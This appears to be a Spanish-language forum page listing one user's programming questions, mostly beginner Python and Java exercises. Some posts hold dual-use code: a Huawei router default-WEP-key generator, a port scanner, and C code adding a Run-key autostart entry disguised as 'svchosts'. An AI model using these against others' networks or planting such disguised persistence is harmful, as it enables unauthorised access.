Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - winnipu

#1
Vereis tengo una duda. Imaginad una red de una empresa, dentro de ella varios pcs conectados al mismo router (cada equipo con su ip privada dentro de la lan) y una unica ip publica de salida comun para todos ellos. La pregunta seria, si es posible conectarse desde el exterior a uno de los equipos de esa red con algun software tipo vnc o similar. Se que es posible crear una vpn y acceder al mismo, pero la duda en este caso es si se podria acceder desde el exterior a un pc concreto de esa red. Teniendo en cuenta que el router de esa empresa tiene un firewall que bloquea conexiones entrantes. No-Ip serviria?
#2
Scripting / acceder a array de objetos
4 Enero 2017, 15:17 PM
Hola, estoy intentando crear una baraja española en python y que me la muestre en pantalla. He creado dos clases para ello. Cuando intento mostrar el array de cartas que almacena objetos de tipo carta me muestra por pantalla las direcciones de memoria de dichos objetos, pero no los objetos en si. No se que estoy haciendo mal, os pego codigo:

class Carta:
  def __init__(self,palo,valor):
    self.palo=palo
    self.valor=valor
  def mostrarCarta(self):
    print(str(self.palo) + str(self.valor))
   
class Mazo:
  cartas=[]
  triunfo=["Oros","Copas","Espadas","Bastos"]
  valor=["As","Dos","Tres","Cuatro","Cinco","Seis","Siete","Sota","Caballo","Rey"]
  for i in triunfo:
    for j in valor:
      cartas.append(Carta(i,j))
     
  for carta in cartas:
    print(carta)
   
Mazo()
#3
Scripting / python wifi macs bajo windows
21 Julio 2016, 10:20 AM
Hola, alguien sabe que librerias hay que usar con python y corriendo bajo windows para ver las macs de los router wifi que hay en un determinado lugar?
Mi intencion es correr un script python que me muestre el nombre de las redes wifi, y las mac de sus routers que hay al alcance de mi antena.

He encontrado este codigo para python 2.7 pero quisiera actualizarlo a 3.4 y no se como hacerlo. No se como solventar lo de map para 3.4

import subprocess

ssid = {}
ssids = []
cmd = subprocess.Popen('netsh wlan show networks mode=BSSID',
                       shell=True, stdout=subprocess.PIPE)
for line in cmd.stdout:
    l = map(lambda x: x.strip(), line.strip().split(":"))
    if len(l) > 1:
        key, value = l[0], l[1]
        if key.startswith("SSID"):
            key = "name"
            if ssid:
                ssids.append(ssid)
            ssid = {}
            ssid[key] = value
        if "name" in ssid:
            ssid[key] = value
ssids.append(ssid)

# example of how to use ssids, list of ssid dictionaries
for ssid in ssids:
    print ssid["name"], ssid["Encryption"]
#4
Scripting / cmd ejecucion def con *args
19 Abril 2016, 15:26 PM
Hola a todos. Vereis, bajo windows he creado un .py usando editor de txt con el siguiente codigo:
def media(*args):
sumatorio = 0
if numero in args:
sumatorio+=numero
total=sumatorio/len(args)
return total


Me gustaria poder ejecutar esta funcion desde la consola CMD pero he probado a ejecutarlo desde su directorio asi:
c:> nombreprograma.py media(1,2,3,4,5,6) y no me aparece ningun resultado. Es obvio que algo hago mal. Sabeis que?
#5
Scripting / Botones y QT Designer
9 Marzo 2016, 11:27 AM
Vereis he empezado a usar Qt Designer para mis proyectos y estoy practicando con botones. Me ha surgido la duda de si es posible que al pulsar un Boton pueda cambiar el texto propio de ese boton. Imaginar un boton cuyo texto sea " " y al pulsarlo lo convierta por ejemplo en una "X". Hay alguna funcion predefinida para hacer eso? Con signal y con slots? O tendre que codearlo a mano?
La idea es hacer un tres en raya por ejemplo, los nueve botones estaran vacios y conforme se vayan pulsando se convertiran en circulos o aspas.
#6
Scripting / Librerias Python 3 con Windows
6 Diciembre 2015, 23:08 PM
Hola, vereis, llevo poco tiempo con python y estoy probando librerias externas. Suelo desarrollar mis programas con la version 3.4 de python y bajo un entorno windows. He estado viendo codigos que importan la libreria nmap. Pero entre que eran programas para python 2.7 y con entornos linux no he encontrado la forma de instalar la libreria para windows y python 3. Alguien puede decirme como hacerlo paso a paso. Gracias.
#7
Scripting / Tk Python generador routers
29 Noviembre 2015, 16:52 PM
Estoy intentando implementar un descifrador wep de routers antiguos huawei con una GUI tkinter. Pero hay algo que no hago bien cuando meto la cadena en un entry. Me da un error y no logro saber a que es debido. Trato de pasar el dato a base16 pero algo no estoy haciendo bien. Os paso el codigo completo a ver si alguien puede arrojar un poco de luz:

__author__ = 'winni'

from tkinter import *
from tkinter import messagebox

i=0;mac=[]

a0=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

a1=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

a2=0,13,10,7,5,8,15,2,10,7,0,13,15,2,5,8

a3=0,1,3,2,7,6,4,5,15,14,12,13,8,9,11,10

a4=0,5,11,14,7,2,12,9,15,10,4,1,8,13,3,6

a5=0,4,8,12,0,4,8,12,0,4,8,12,0,4,8,12

a6=0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8

a7=0,8,0,8,1,9,1,9,2,10,2,10,3,11,3,11

a8=0,5,11,14,6,3,13,8,12,9,7,2,10,15,1,4

a9=0,9,2,11,5,12,7,14,10,3,8,1,15,6,13,4

a10=0,14,13,3,11,5,6,8,6,8,11,5,13,3,0,14

a11=0,12,8,4,1,13,9,5,2,14,10,6,3,15,11,7

a12=0,4,9,13,2,6,11,15,4,0,13,9,6,2,15,11

a13=0,8,1,9,3,11,2,10,6,14,7,15,5,13,4,12

a14=0,1,3,2,7,6,4,5,14,15,13,12,9,8,10,11

a15=0,1,3,2,6,7,5,4,13,12,14,15,11,10,8,9

n1=0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12

n2=0,8,0,8,3,11,3,11,6,14,6,14,5,13,5,13

n3=0,0,3,3,2,2,1,1,4,4,7,7,6,6,5,5

n4=0,11,12,7,15,4,3,8,14,5,2,9,1,10,13,6

n5=0,5,1,4,6,3,7,2,12,9,13,8,10,15,11,14

n6=0,14,4,10,11,5,15,1,6,8,2,12,13,3,9,7

n7=0,9,0,9,5,12,5,12,10,3,10,3,15,6,15,6

n8=0,5,11,14,2,7,9,12,12,9,7,2,14,11,5,0

n9=0,0,0,0,4,4,4,4,0,0,0,0,4,4,4,4

n10=0,8,1,9,3,11,2,10,5,13,4,12,6,14,7,15

n11=0,14,13,3,9,7,4,10,6,8,11,5,15,1,2,12

n12=0,13,10,7,4,9,14,3,10,7,0,13,14,3,4,9

n13=0,1,3,2,6,7,5,4,15,14,12,13,9,8,10,11

n14=0,1,3,2,4,5,7,6,12,13,15,14,8,9,11,10

n15=0,6,12,10,9,15,5,3,2,4,14,8,11,13,7,1

n16=0,11,6,13,13,6,11,0,11,0,13,6,6,13,0,11

n17=0,12,8,4,1,13,9,5,3,15,11,7,2,14,10,6

n18=0,12,9,5,2,14,11,7,5,9,12,0,7,11,14,2

n19=0,6,13,11,10,12,7,1,5,3,8,14,15,9,2,4

n20=0,9,3,10,7,14,4,13,14,7,13,4,9,0,10,3

n21=0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15

n22=0,1,2,3,5,4,7,6,11,10,9,8,14,15,12,13

n23=0,7,15,8,14,9,1,6,12,11,3,4,2,5,13,10

n24=0,5,10,15,4,1,14,11,8,13,2,7,12,9,6,3

n25=0,11,6,13,13,6,11,0,10,1,12,7,7,12,1,10

n26=0,13,10,7,4,9,14,3,8,5,2,15,12,1,6,11

n27=0,4,9,13,2,6,11,15,5,1,12,8,7,3,14,10

n28=0,14,12,2,8,6,4,10,0,14,12,2,8,6,4,10

n29=0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3

n30=0,15,14,1,12,3,2,13,8,7,6,9,4,11,10,5

n31=0,10,4,14,9,3,13,7,2,8,6,12,11,1,15,5

n32=0,10,5,15,11,1,14,4,6,12,3,9,13,7,8,2

n33=0,4,9,13,3,7,10,14,7,3,14,10,4,0,13,9

key=30,31,32,33,34,35,36,37,38,39,61,62,63,64,65,66

ssid=[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']



def hex2dec(s):

    return (int)(s, 16)


ventana = Tk()
ventana.title("Password Wep Huawei")
ventana.geometry("300x200")
numero = StringVar()
etiqueta1 = Label(ventana, text="Introduce la MAC: ").place(x=20,y=20)
cajaNum = Entry(ventana, textvariable = numero).place(x=150,y=20)
boton = Button(ventana, text = "Calcular", command=hex2dec).place(x=20,y=150)
mac2=str(numero.get())

while i<12:

     mac.insert(i,hex2dec(mac2[i]));i=i+1

s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^(n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[mac[10]])^(a9[mac[11]])^5

s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]])^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^(a11[mac[10]])^(n32[mac[11]])^10

s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^(n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^(n30[mac[10]])^(n33[mac[11]])^11

s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]])^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^(a6[mac[10]])^(a0[mac[11]])^10

ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^(a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[mac[10]])^(a0[mac[11]])^13

yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^(a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[mac[10]])^(a15[mac[11]])^4

yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^(a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[mac[10]])^(a1[mac[11]])^7

yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^(a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[mac[10]])^(a0[mac[11]])^14

ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^(a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[mac[10]])^(a2[mac[11]])^7


messagebox.showinfo("ventana","La clave wep es: " + str(key[ya])+str(key[yb])+str(key[yc])+str(key[yd])+str(key[ye]))


ventana.mainloop()
#8
Scripting / python codigo no funciona
11 Agosto 2015, 11:32 AM
Hola a todos. Acabo de empezar con python, he usado otros lenguajes antes como java y cpp. Para ir familiarizandome con el lenguaje he cogido unos codigos que hay por la red y los he testeado pero tengo prolblemas con algunos. Por ejemplo os voy a poner un codigo que no me funciona y no se a que se debe. Es un simple scanner de puertos, en principio estaba diseñado para python 2.7 y ejecutado en linux. Yo estoy intentando hacerlo trabajar bajo windows y con python 3.4.3. He modificado algunas cosas en el codigo, como los parentesis para los print (que no estaban), he cambiado los raw_input por input(), pero la cosa sigue sin rular. Alguien puede decirme que anda mal en el codigo? sigue siendo cosa de usarlo en windows o de la version de python que uso?

Os pego el code:

import socket
import subprocess
import sys
from datetime import datetime



# Ask for input
remoteServer    = input("Enter a remote host to scan: ")
remoteServerIP  = socket.gethostbyname(remoteServer)

# Print a nice banner with information on which host we are about to scan
print ("-" * 60)
print ("Please wait, scanning remote host", remoteServerIP)
print ("-" * 60)

# Check what time the scan started
t1 = datetime.now()

# Using the range function to specify ports (here it will scans all ports between 1 and 1024)

# We also put in some error handling for catching errors

try:
   for port in range(1,1025):  
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       result = sock.connect_ex((remoteServerIP, port))
       if result == 0:
           print ("Port {}: \t Open".format(port))
       sock.close()

except KeyboardInterrupt:
   print ("You pressed Ctrl+C")
   sys.exit()

except socket.gaierror:
   print ('Hostname could not be resolved. Exiting')
   sys.exit()

except socket.error:
   print ("Couldn't connect to server")
   sys.exit()

# Checking the time again
t2 = datetime.now()

# Calculates the difference of time, to see how long it took to run the script
total =  t2 - t1

# Printing the information to screen
print ('Scanning Completed in: ', total)
input()

#9
Java / mejorar codigo
20 Diciembre 2014, 22:04 PM
Vereis estoy intentando sacar este enunciado:
Desarrollar un programa que simule un pluviómetro en el que se van registrando las precipitaciones a lo largo del año. En cualquier momento, se le pueden pedir las medias de un mes concreto o del año completo.

Utilizar constantes para especificar el mes.

Por último, crearemos una clase Actividad8 donde instanciaremos el pluviómetro, registraremos algunas precipitaciones para los distintos meses y mostraremos las medias de precipitación de todos los meses y del año.


Lo he logrado mas o menos, pero me parece que podria estar mucho mas optimizado. He picado demasiado codigo creo yo que repetitivo. Pero no quiero usar la clase hashtable, quiero hacerlo todo de un modo lo mas rudimentario posible, sin usar clases externas. Os pego lo que tengo para ver si alguien me puede decir como mejorarlo y optimizarlo.

public interface Meses {

public static final String ENERO = "Enero";
public static final String FEBRERO = "Febrero";
public static final String MARZO = "Marzo";
public static final String ABRIL = "Abril";
public static final String MAYO = "Mayo";
public static final String JUNIO = "Junio";
public static final String JULIO = "Julio";
public static final String AGOSTO = "Agosto";
public static final String SEPTIEMBRE = "Septiembre";
public static final String OCTUBRE = "Octubre";
public static final String NOVIEMBRE = "Noviembre";
public static final String DICIEMBRE = "Diciembre";
}


import java.util.ArrayList;

public class Pluviometro implements Meses{
ArrayList<Double> arrayEnero = new ArrayList<Double>();
ArrayList<Double> arrayFebrero = new ArrayList<Double>();
ArrayList<Double> arrayMarzo = new ArrayList<Double>();
ArrayList<Double> arrayAbril = new ArrayList<Double>();
ArrayList<Double> arrayMayo = new ArrayList<Double>();
ArrayList<Double> arrayJunio = new ArrayList<Double>();
ArrayList<Double> arrayJulio = new ArrayList<Double>();
ArrayList<Double> arrayAgosto = new ArrayList<Double>();
ArrayList<Double> arraySeptiembre = new ArrayList<Double>();
ArrayList<Double> arrayOctubre = new ArrayList<Double>();
ArrayList<Double> arrayNoviembre = new ArrayList<Double>();
ArrayList<Double> arrayDiciembre = new ArrayList<Double>();

double precipitacionEnero, precipitacionFebrero, precipitacionMarzo,
precipitacionAbril, precipitacionMayo, precipitacionJunio, precipitacionJulio,
precipitacionAgosto, precipitacionSeptiembre, precipitacionOctubre,
precipitacionNoviembre, precipitacionDiciembre;



public void setPrecipitacion(String m, double precipitacion){
if (m.equalsIgnoreCase("Enero")){
arrayEnero.add(precipitacion);
precipitacionEnero = precipitacion;}

if (m.equalsIgnoreCase("Febrero")){
arrayFebrero.add(precipitacion);
precipitacionFebrero = precipitacion;}

if (m.equalsIgnoreCase("Marzo")){
arrayMarzo.add(precipitacion);
precipitacionMarzo = precipitacion;}

if (m.equalsIgnoreCase("Abril")){
arrayAbril.add(precipitacion);
precipitacionAbril = precipitacion;}

if (m.equalsIgnoreCase("Mayo")){
arrayMayo.add(precipitacion);
precipitacionMayo = precipitacion;}

if (m.equalsIgnoreCase("Junio")){
arrayJunio.add(precipitacion);
precipitacionJunio = precipitacion;}
if (m.equalsIgnoreCase("Julio")){
arrayJulio.add(precipitacion);
precipitacionJulio = precipitacion;}

if (m.equalsIgnoreCase("Agosto")){
arrayAgosto.add(precipitacion);
precipitacionAgosto = precipitacion;}

if (m.equalsIgnoreCase("Septiembre")){
arraySeptiembre.add(precipitacion);
precipitacionSeptiembre = precipitacion;}

if (m.equalsIgnoreCase("Octubre")){
arrayOctubre.add(precipitacion);
precipitacionOctubre = precipitacion;}

if (m.equalsIgnoreCase("Noviembre")){
arrayNoviembre.add(precipitacion);
precipitacionNoviembre = precipitacion;}

if (m.equalsIgnoreCase("Diciembre")){
arrayDiciembre.add(precipitacion);
precipitacionDiciembre = precipitacion;}

}


public double getPrecipitacion(String m){
if (m.equalsIgnoreCase("Enero")){
return precipitacionEnero;}
if (m.equalsIgnoreCase("Febrero")){
return precipitacionFebrero;}
if (m.equalsIgnoreCase("Marzo")){
return precipitacionMarzo;}
if (m.equalsIgnoreCase("Abril")){
return precipitacionAbril;}
if (m.equalsIgnoreCase("Mayo")){
return precipitacionMayo;}
if (m.equalsIgnoreCase("Junio")){
return precipitacionJunio;}
if (m.equalsIgnoreCase("Julio")){
return precipitacionJulio;}
if (m.equalsIgnoreCase("Agosto")){
return precipitacionAgosto;}
if (m.equalsIgnoreCase("Septiembre")){
return precipitacionSeptiembre;}
if (m.equalsIgnoreCase("Octubre")){
return precipitacionOctubre;}
if (m.equalsIgnoreCase("Noviembre")){
return precipitacionNoviembre;}
return precipitacionDiciembre;
}

public double precipitacionMedia(String m){
double precipitacionTotal = 0;

if (m.equalsIgnoreCase("Enero")){
for (int a=0; a < arrayEnero.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayEnero.get(a);
}
return precipitacionTotal/31;}

if (m.equalsIgnoreCase("Febrero")){
for (int a=0; a < arrayFebrero.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayFebrero.get(a);
}
return precipitacionTotal/28;}

if (m.equalsIgnoreCase("Marzo")){
for (int a=0; a < arrayMarzo.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayMarzo.get(a);
}
return precipitacionTotal/31;}

if (m.equalsIgnoreCase("Abril")){
for (int a=0; a < arrayAbril.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayAbril.get(a);
}
return precipitacionTotal/30;}

if (m.equalsIgnoreCase("Mayo")){
for (int a=0; a < arrayMayo.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayMayo.get(a);
}
return precipitacionTotal/31;}

if (m.equalsIgnoreCase("Junio")){
for (int a=0; a < arrayJunio.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayJunio.get(a);
}
return precipitacionTotal/30;}

if (m.equalsIgnoreCase("Julio")){
for (int a=0; a < arrayJulio.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayJulio.get(a);
}
return precipitacionTotal/31;}

if (m.equalsIgnoreCase("Agosto")){
for (int a=0; a < arrayAgosto.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayAgosto.get(a);
}

if (m.equalsIgnoreCase("Septiembre")){
for (int a=0; a < arraySeptiembre.size(); a++){
precipitacionTotal = precipitacionTotal+ arraySeptiembre.get(a);
}
return precipitacionTotal/30;}

if (m.equalsIgnoreCase("Octubre")){
for (int a=0; a < arrayOctubre.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayOctubre.get(a);
}
return precipitacionTotal/31;}

if (m.equalsIgnoreCase("Noviembre")){
for (int a=0; a < arrayNoviembre.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayNoviembre.get(a);
}
return precipitacionTotal/30;}

return precipitacionTotal/31;}

return precipitacionTotal/31;
}
}



public class Actividad {

public static void main(String[] args) {
Pluviometro p = new Pluviometro();
for (int a=1; a<= 31; a++){
p.setPrecipitacion(Meses.ENERO,Math.random());
System.out.println("Precipitacion dia "+a+" Enero:"+p.getPrecipitacion(Meses.ENERO));}
System.out.println("La PRECIPITACION MEDIA DEL MES DE ENERO ES: "+p.precipitacionMedia("eNero"));
System.out.println("");
for (int a=1; a<= 28; a++){
p.setPrecipitacion(Meses.FEBRERO,Math.random());
System.out.println("Precipitacion dia "+a+" Febrero:"+p.getPrecipitacion(Meses.FEBRERO));}
System.out.println("La PRECIPITACION MEDIA DEL MES DE FEBRERO ES: "+p.precipitacionMedia("febrero"));
System.out.println("");
}

}
#10
Java / HashTable
7 Junio 2014, 09:51 AM
Vereis se me pide hacer el siguiente ejercicio:

Desarrollar un sistema de gestión de partes de un taller mecánico.

La información de los partes es: código, descripción e importe. Un parte irá asociado a la matrícula de un coche de manera que podamos añadir, mostrar y eliminar un parte a partir de la matrícula de coche al que está asociado.

La clase Main mostrará un menú de opciones por consola: crear, listar, mostrar y eliminar partes. También habrá una opción de salir. Utilizar alguna de las estructuras de datos dinámicos.


He estado pensando en realizarlo con HashTable, usando la matricula del vehiculo como parametro ID, y me gustaria que codigo, descripcion e importe sean el parametro VALOR de dicho ID. No se si es posible hacer eso porque nunca he trabajado con hashtable pero por lo que veo los parametros de su constructor son dos, el correspondiente a ID y el correspondiente a su VALOR asociado. Imagino que puedo crear una clase llamada Partes con un constructor en el que se introduzcan los tres valores (codigo, descripcion e importe) y luego crear un metodo tipo string que muestre los tres valores juntos. Y despues desde otra clase hashtable llamar a dicho metodo. Es esto posible o me estoy haciendo un lio?
#11
Java / pilas y interface
23 Mayo 2014, 10:56 AM
Estoy con el siguiente ejercicio:

Desarrollar una implementacion de una lista del tipo pila o LIFO (last input first output) y de una lista del tipo cola o FIFO (first input first output). Las implementaciones deben ser genericas, es decir, deben aceptar cualquier tipo de objeto.
Ademas definir un tipo generico Lista imponga el API generico de cualquier tipo de lista (añadir y extraer elementos).
La clase actividad4 tiene un metodo main en el que se crearan los dos tipos de lsita se les añadira los mismos elementos y en el mismo orden. Se comprobara el orden en el que se extraen los elementos en cada lista.

No es mi intencion que se me realice el ejercicio, solo pido consejo. He pensado en crear una interface llamada Pila, y luego dos clases que implementan esa interface, una se llamaria Lifo y la otra Fifo. Mi pregunta es la siguiente, cuando me dice que las implementaciones deben ser genericas y deben aceptar cualquier tipo de objeto a que se refiere? que debemos pasarle al metodo un parametro de tipo object?
TAmpoco entiendo a que se refiere cuando dice: Ademas definir un tipo generico Lista imponga el API generico de cualquier tipo de lista (añadir y extraer elementos).

Alguien puede arrojarme un poco de luz? no quiero el codigo, quiero entender lo que se me pide y como implementarlo pero sin que me deis el codigo. Un saludo.
#12
Java / swing binario decimal
18 Mayo 2014, 12:37 PM
Hola, vereis he estado desarrollando un programa que convierte un numero binario en decimal y otro decimal en binario. Una vez logrado por consola he intentado mejorarlo con un gui con swing. Pero como no controlo mucho tengo un error que no se donde se produce con el tema de los actionevent imagino. Os pego codigo a ver si alguien me puede echar un cable. Un saludo.
import javax.swing.*;

import java.awt.*;
import java.awt.event.*;

public class BinDecimal extends JFrame implements ActionListener {



private static final long serialVersionUID = 1L;
private JLabel etiqueta,etiqueta2;
private JTextField texto,texto2,binario,binario2;
private JButton boton,boton2;
public ActionListener metodoBoton;





public BinDecimal(String titulo)
{
super(titulo);
texto=new JTextField(10);
texto2=new JTextField(10);
etiqueta=new JLabel("Escribe en binario para convertir a decimal");
etiqueta2=new JLabel("Escribe en decimal para convertir a binario");
binario=new JTextField("0",10);
binario2=new JTextField("0",10);
binario.setEditable(false);
binario2.setEditable(false);
boton=new JButton("Convertir");
boton2=new JButton("Convertir");
boton.setMnemonic(KeyEvent.VK_C);
boton.setToolTipText("Convertir a decimal");
boton2.setMnemonic(KeyEvent.VK_C);
boton2.setToolTipText("Convertir a binario");
JPanel panel=new JPanel();
panel.setLayout(new FlowLayout(FlowLayout.LEFT,4,4));
panel.add(etiqueta);
panel.add(texto);
panel.add(boton);
panel.add(binario);
panel.add(etiqueta2);
panel.add(texto2);
panel.add(boton2);
panel.add(binario2);


getContentPane().add(panel);
boton.addActionListener(this);
boton2.addActionListener(this);

}



public void actionPerformed(ActionEvent evento)
{
int[] array1 = new int[20];
int[] array2 = new int[20];
int i = 0;
int j = 0;
int resultado1 = 0;
int resultado2 = 0;
String cadena, cadena2;


int numero = Integer.parseInt(texto.getText());


do{
array1[i] = numero % 10;
numero /= 10;
resultado1 = array1[i]*(int)Math.pow(2.0, i)+resultado1;
i++;
} while (numero != 0);
cadena = Integer.toString(resultado1);
binario.setText(cadena);

int numero2 = Integer.parseInt(texto2.getText());

do{
array2[j] = numero2 % 2;
numero2 /= 2;
resultado2 = array2[j]*(int)Math.pow(10.0, j)+resultado2;
j++;
} while (numero2 != 0);
cadena2 = Integer.toString(resultado2);
binario2.setText(cadena2);
}



public static void main(String args[])
{
BinDecimal programa=new BinDecimal("Convertir de binario a decimal");
programa.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
programa.setSize(600,120);
programa.setLocation(400,450);
programa.setVisible(true);
}
}
#13
Programación C/C++ / Registro en C
9 Enero 2014, 15:57 PM
Alguien sabe porque este codigo no crea una entrada en el registro corriendo un S.O. win7?

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {
       check=1;
       return check;
   }

   reg_key=RegQueryValueEx(hKey,"svchosts",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;
}

int create_key(char *path)
{
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchosts",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}
#14
Java / applet para .jar
26 Diciembre 2013, 18:08 PM
Vereis he desarrollado una aplicacion en java, tengo el .jar correspondiente. Me gustaria que se pudiese ejecutar desde alguna web de estas gratuitas usando el mozilla o cualquier otro explorador. He estado leyendo que se podria hacer con applet java en html. Me pregunto si hace falta el .class o es suficiente solo con el .jar.
Alguien me podria orientar un poco, estoy totalmente verde en diseño y hosting web.
#15
Java / Duda ejercicio java
15 Noviembre 2013, 18:19 PM
Hola. Se me ha planteado el siguiente ejercicio en java, para trabajar con herencia y polimorfismo. En herencia voy mas o menos, pero polimorfismo estoy empezando. El enunciado es el siguiente:

Desarrollar una aplicación de control de llamadas realizadas en una centralita telefónica.


En la centralita se van registrando llamadas. Registrar una llamada consiste en contabilizar el número de llamadas realizadas así como el coste total de todas las llamadas realizadas.


La centralita mostrará por pantalla todas las llamadas según las vaya registrando.


Existen dos tipos de llamadas:


   Las llamadas locales que cuestan 15 céntimos el segundo.


   Y las llamadas provinciales que dependiendo de la franja horaria en la que se realicen cuestan: 20 céntimos en franja 1, 25 céntimos en franja 2 y 30 céntimos en franja 3, cada segundo.

Todas las llamadas tienen como datos el número origen de la llamada, el número destino y su duración en segundos.


Desarrollar la clase Actividad4 que en su método main cree una centralita, registre varias llamadas de distinto tipo y le pida a la centralita un informe con el número total de llamadas y la facturación total realizada.

He realizado el ejercicio del siguiente modo:

public class Centralita {

private int contador;
private double acumulado1;
private double acumulado2;
private double acumuladoTotal;

public int getTotalLlamadas(){
return contador;
}

public double getTotalFacturado(){
acumuladoTotal = acumulado1 + acumulado2;
return acumuladoTotal;
}

public double registrarLlamadaLocal(LlamadaLocal param){
contador += 1;
acumulado1 += param.costeLlamadaLocal();
return acumulado1;
}

public double registrarLlamadaProvincial(LlamadaProvincial param){
contador += 1;
acumulado2 = param.costeLlamadaP1() + param.costeLlamadaP2() + param.costeLlamadaP3();
return acumulado2;
}

public void imprimirTotalFacturado(){
System.out.println("El total facturado en llamadas es: " + getTotalFacturado());
System.out.println("El total de llamadas facturadas es: " + getTotalLlamadas());
}
}


public class Llamada {

private int numQueLlama;
private int numDestino;
private int segundosLlamada = 0;

public Llamada(){
}

public Llamada(int numQueLlama, int numDestino, int segundosLlamada){
this.numQueLlama = numQueLlama;
this.numDestino = numDestino;
this.segundosLlamada = segundosLlamada;
}

public void setNumQueLlama(int numQueLlama){
this.numQueLlama = numQueLlama;
}

public void setNumDestino(int numDestino){
this.numDestino = numDestino;
}

public void setSegundosLlamada(int segundosLlamada){
this.segundosLlamada = segundosLlamada;
}

public int getNumQueLlama(){
return numQueLlama;
}

public int getNumDestino(){
return numDestino;
}

public int getSegundosLlamada(){
return segundosLlamada;
}

public void imprimirNumOrigen(){
System.out.println("El numero que llama es: " + getNumQueLlama());
}

public void imprimirNumDestino(){
System.out.println("El numero al que se llama es: " + getNumDestino());
}

public void imprimirDuracionSegundos(){
System.out.println("La duracion en segundos de la llamada ha sido: " + getSegundosLlamada());
}

}


public class LlamadaLocal extends Llamada{

private double costeLocal = 0.15;

public LlamadaLocal(){
}

public LlamadaLocal(int numQueLlama, int numDestino, int segundosLlamada){
super(numQueLlama, numDestino, segundosLlamada);
}

public double costeLlamadaLocal(){
return (costeLocal * super.getSegundosLlamada());
}

public void imprimirCosteLlamadaLx(){
System.out.println("El coste total de la llamda local es: " + costeLlamadaLocal());
}

}


public class LlamadaProvincial extends Llamada{

private double costeProvincial1 = 0.20;
private double costeProvincial2 = 0.25;
private double costeProvincial3 = 0.30;
private int franja = 0;

public LlamadaProvincial(int numQueLlama, int numDestino, int segundosLlamada, int franja){
super(numQueLlama, numDestino, segundosLlamada);
this.franja = franja;
}
public double costeLlamadaP1(){
return(costeProvincial1 * super.getSegundosLlamada());
}

public double costeLlamadaP2(){
return(costeProvincial2 * super.getSegundosLlamada());
}

public double costeLlamadaP3(){
return(costeProvincial3 * super.getSegundosLlamada());
}

public void imprimirCosteLlamadaPx(){
switch (franja){
case 1: System.out.println("El coste total de la llamada provincial franja 1 es: " + costeLlamadaP1());
break;
case 2: System.out.println("El coste total de la llamada provincial franja 2 es: " + costeLlamadaP2());
break;
case 3: System.out.println("El coste total de la llamada provincial franja 3 es: " + costeLlamadaP3());
break;
default: System.out.println("No se introdujeron llamadas provinciales");
break;
}
}
}


public class Actividad4 {

public static void main(String[] args) {

Centralita c = new Centralita();
